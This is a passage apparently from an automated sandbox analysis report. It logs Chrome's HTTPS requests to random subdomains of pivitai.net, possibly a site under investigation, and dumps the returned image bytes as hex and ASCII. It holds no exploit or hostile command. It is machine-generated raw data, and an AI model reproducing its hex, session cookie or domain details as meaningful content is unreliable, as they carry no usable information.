33333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 Data Ascii: UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDU
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 Data Ascii: UUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUU
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 Data Ascii: DDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDD
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 Data Ascii:
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 Data Ascii: ""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	49738	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:27 UTC	737	OUT	GET /shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:27 UTC	1112	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:27 GMT Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116791 Cache-Control: public, max-age=31536000 Content-Md5: eRaolOvefSnCzCmyZ/Epnw== Etag: 0x8DB5C3F41AC335E Last-Modified: Wed, 24 May 2023 10:11:35 GMT X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: e25186fb-501e-0056-15d4-7ec319000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BS%2BE0LXrA9LlLNHX%2BZvKx5UK4VYwo6pz0jQ7qlW949x8UmYBNzkY3AFwi61Rr5nVANaK%2FKRim3n%2Fm46dLfxIvMGMjLMbPhxXY%2Fsyo5OBvrkHA1oD2xSv5vq04NXjG6KF%2BN3UzCc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a9431b6974a518-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:27 UTC	257	IN	Data Raw: 34 34 32 64 0d 0a ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 Data Ascii: 442dPhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-r
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 2f 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 00 00 a8 00 80 00 28 0a 08 a8 00 02 28 00 00 00 00 00 02 a0 0a a8 08 a2 00 a2 00 a2 28 00 08 00 00 00 00 a0 00 00 00 8a 02 00 20 0a 00 00 00 00 80 8a 54 50 0a 80 2d 10 05 aa e5 41 44 c0 15 0a 08 00 00 00 00 00 00 00 00 02 00 00 00 08 a0 20 00 00 80 00 00 00 02 a0 00 00 20 00 00 00 80 00 00 08 a0 20 00 00 00 02 02 28 00 00 00 20 a8 88 00 29 55 00 51 01 14 40 14 40 14 45 00 29 40 00 50 05 00 00 54 01 44 01 40 00 00 00 00 00 15 00 51 14 00 00 00 05 40 14 45 00 00 00 00 00 00 00 00 15 01 54 05 1f ff d1 db 41 18 76 54 04 00 00 40 00 00 01 00 05 00 01 40 00 10 05 40 40 2a 50 0a 00 00 28 00 00 08 00 00 00 00 14 00 00 00 00 00 00 00 00 00 00 00 01 14 05 00 00 00 00 00 00 40 00 15 15 40 00 00 00 01 00 00 00 00 00 05 10 00 00 00 00 00 00 00 00 04 50 00 00 01 00 50 Data Ascii: ((( TP-AD ( )UQ@@E)@PTD@Q@ETAvT@@@@*P(@@PP
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 28 02 0a 8a 00 00 00 00 02 a5 04 05 40 40 00 54 00 5a 54 01 44 00 00 00 00 00 00 00 00 40 00 00 01 14 04 15 00 15 00 00 00 04 00 00 00 00 41 05 40 00 00 00 00 04 15 04 00 01 6a 00 52 a0 82 d1 00 51 29 41 44 a5 05 00 44 14 04 15 00 00 00 00 00 50 00 00 00 00 5a 20 23 a1 28 0a 20 0a 00 00 0a 00 a0 00 28 80 28 00 00 02 a0 0a 00 00 00 00 28 00 00 00 00 00 0f ff d7 da c0 61 d8 40 41 40 14 4a 20 00 00 00 20 08 00 0a 00 02 00 00 00 02 00 00 02 02 a0 0a 00 00 00 00 0a 20 0a 20 22 88 aa 00 00 00 20 a8 00 00 a0 08 a0 00 8a 8a 00 08 a0 00 00 00 02 88 02 aa 02 28 82 8a 00 00 22 00 00 00 00 28 00 20 00 00 00 02 80 00 2a 02 0a 80 28 80 28 00 00 00 02 00 00 00 00 28 00 02 a2 88 00 02 2a 00 00 00 00 00 00 00 00 80 08 00 00 00 00 28 00 80 00 00 00 00 00 00 00 80 00 02 02 Data Ascii: (@@TZTD@A@jRQ)ADDPZ #( (((a@A@J " ("( ((((
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 25 10 51 0a 20 54 14 15 00 00 40 00 10 54 00 00 00 00 00 00 40 01 51 05 40 00 00 04 00 00 00 01 01 00 10 11 41 50 54 01 50 51 44 50 00 00 04 00 00 54 04 51 15 40 00 00 00 00 00 14 00 16 ab 95 00 50 10 00 15 00 50 14 00 05 11 50 00 00 01 40 00 00 14 05 40 00 7f ff d5 da 90 18 76 00 00 04 00 05 00 41 35 01 40 00 00 01 15 11 40 01 44 50 10 01 00 40 45 14 41 51 14 00 00 05 00 00 14 40 10 45 00 00 00 01 40 00 15 14 05 45 10 04 00 05 40 00 00 00 00 50 01 40 54 00 01 00 05 c4 04 55 72 a0 a0 00 00 80 0a 00 00 00 00 00 00 00 00 0a 00 02 2a 2a 02 80 02 00 80 0a 00 00 a0 20 00 00 00 00 00 00 00 00 00 00 22 80 00 22 02 a0 00 00 00 00 00 00 00 08 00 00 00 00 01 50 01 50 02 80 08 2a 00 00 80 00 00 00 08 00 00 00 20 a8 00 00 00 00 08 00 08 80 00 00 Data Ascii: %Q T@T@Q@APTPQDPTQ@PPP@@vA5@@DP@EAQ@E@E@P@TUr** ""PP*
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 41 00 00 00 04 50 00 05 51 14 10 50 10 50 10 54 00 00 00 05 11 40 00 40 01 45 00 00 50 00 55 01 10 00 00 05 05 01 05 14 01 41 05 04 45 00 00 55 00 05 01 00 00 7f ff d3 da 80 61 d4 00 00 01 11 50 00 05 00 01 14 04 15 10 00 00 00 11 50 00 00 00 00 00 00 00 00 00 00 05 00 00 00 00 10 00 00 40 51 00 54 05 00 00 05 10 00 00 00 00 00 14 14 11 00 00 01 40 00 51 14 14 45 10 10 00 01 00 00 00 00 00 01 41 40 00 00 00 00 00 00 45 00 00 00 00 40 00 00 00 00 00 00 00 14 00 00 40 00 00 00 00 00 00 00 00 00 00 00 40 04 00 14 41 15 00 00 00 00 00 00 00 00 00 10 01 00 5c 45 50 40 44 00 14 00 10 50 44 15 00 00 04 54 00 04 41 15 00 00 50 04 00 00 00 40 10 15 00 00 04 00 00 00 11 40 45 10 1d 08 a2 80 00 8a 02 28 00 8a 02 2e 08 0e 84 50 00 00 00 51 14 10 54 14 5c 40 14 00 00 Data Ascii: APQPPT@@EPUAEUaPP@QT@QEA@E@@@A\EP@DPDTAP@@E(.PQT\@
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 00 00 14 00 01 00 00 00 00 00 01 40 00 00 00 00 04 04 54 00 54 50 00 00 50 10 01 40 00 00 00 00 00 00 00 00 00 14 40 00 00 00 00 00 00 00 00 00 00 00 01 51 40 54 04 00 14 00 40 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 50 00 10 00 00 01 35 16 a0 a0 00 00 88 00 00 00 00 00 02 20 a8 8a 00 00 00 22 80 22 80 82 a0 20 a8 20 02 02 28 08 2a 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 a2 80 00 00 00 00 00 00 a8 a0 b8 00 00 28 00 00 00 00 02 a2 8a 00 00 00 2a 28 80 0a 0a 8a 02 28 2b ff d2 da 80 46 c0 01 00 00 00 00 04 01 14 01 40 00 11 51 00 01 00 00 00 00 00 4a a8 28 00 00 00 00 01 00 05 01 05 04 00 00 00 00 00 12 82 88 28 00 00 02 14 00 00 00 00 00 00 00 54 15 40 01 05 00 00 00 00 00 00 00 00 00 00 00 00 01 05 00 00 00 00 00 00 Data Ascii: @TTPP@@Q@T@P5 "" (* (*((+F@QJ((T@
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 28 00 00 a2 20 b0 04 14 00 04 10 50 10 54 00 01 40 00 5c 40 45 54 8a 08 2a 00 00 a2 a0 0a 00 80 00 8a 00 00 aa 00 20 00 00 00 00 00 02 80 28 02 80 00 a0 08 00 02 a2 83 ff d0 da 80 14 40 00 01 40 00 00 40 00 00 04 00 00 00 00 00 40 10 05 00 00 00 00 00 01 00 00 00 00 16 00 00 00 00 02 00 00 00 00 00 00 00 00 20 0a 20 0a 20 0a 00 00 00 00 00 08 00 28 00 00 a0 8a 02 00 00 a8 a0 00 00 00 00 0a 22 80 20 0a 00 a0 28 00 08 00 00 00 00 80 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 a8 a2 00 00 02 00 00 00 00 02 80 00 00 00 20 8a 00 00 02 2a 08 00 00 00 00 00 08 00 00 00 00 20 00 00 00 00 08 28 0e 45 80 a1 05 44 40 00 89 14 04 15 05 20 28 20 b0 80 82 c2 20 91 60 00 00 00 00 8a 02 0a 80 82 80 82 80 02 88 00 02 2a 00 00 a2 80 00 08 00 00 0a 00 0a 00 00 28 00 Data Ascii: ( PT@\@ET* (@@@@ (" ( * (ED@ ( `*(
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 54 45 05 01 00 00 51 14 00 00 00 00 00 00 00 00 00 05 45 00 14 00 10 15 00 50 00 00 00 11 40 00 00 00 00 00 00 00 00 05 04 40 00 00 00 00 00 45 00 00 00 00 00 00 05 40 01 51 40 00 00 00 00 00 40 04 00 00 00 00 00 01 00 00 00 40 01 44 14 41 05 40 00 00 50 54 15 04 00 14 01 00 00 41 40 11 48 08 28 08 28 08 28 08 02 00 00 00 00 00 00 00 00 02 80 10 04 00 00 00 00 15 51 40 45 45 04 50 10 50 00 50 00 01 14 04 00 01 40 40 14 00 05 54 50 00 00 00 00 11 ff d7 da 80 69 04 50 10 00 00 00 10 14 40 00 00 10 05 40 00 00 00 50 00 04 54 00 00 04 04 54 00 00 00 01 00 00 00 00 4a 0a 94 05 01 14 51 00 51 00 54 01 14 40 14 40 14 a8 a0 a2 28 00 00 02 00 00 00 00 00 2e 22 82 80 28 00 00 a0 00 00 08 00 00 00 00 00 a8 00 a8 a0 28 00 02 0a 00 00 00 00 00 22 80 00 00 00 00 00 00 Data Ascii: TEQEP@@E@Q@@@DA@PTA@H(((Q@EEPPP@@TPiP@@PTTJQQT@@(."(("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	49740	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:27 UTC	743	OUT	GET /shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:27 UTC	1104	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:27 GMT Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116791 Cache-Control: public, max-age=31536000 Content-Md5: 5YqvyYBhSpzXeWvqe16o8A== Etag: 0x8DB5C3F41C14038 Last-Modified: Wed, 24 May 2023 10:11:35 GMT X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 7d813ca0-701e-00d0-620f-7e6e40000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ajMaVDilXzoWuRvAHVdahRRkQKc5mB0bU%2FE0FBey7OT2KDbaNSdPqzLucyT7voU6l1YDXb7x15m055oLga5pKE5NTrIYPSyalZZWPXWqzQVHqb0%2Fepq7DVFkjEJqkZmZKY%2BTXEQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a9431b6e0109fe-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:27 UTC	265	IN	Data Raw: 33 64 62 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: 3dbJFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC
2024-04-26 20:18:27 UTC	729	IN	Data Raw: 0a 0a ff c0 00 11 08 00 1c 00 32 03 01 21 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 Data Ascii: 2!}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2024-04-26 20:18:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	49741	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:27 UTC	731	OUT	GET /shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
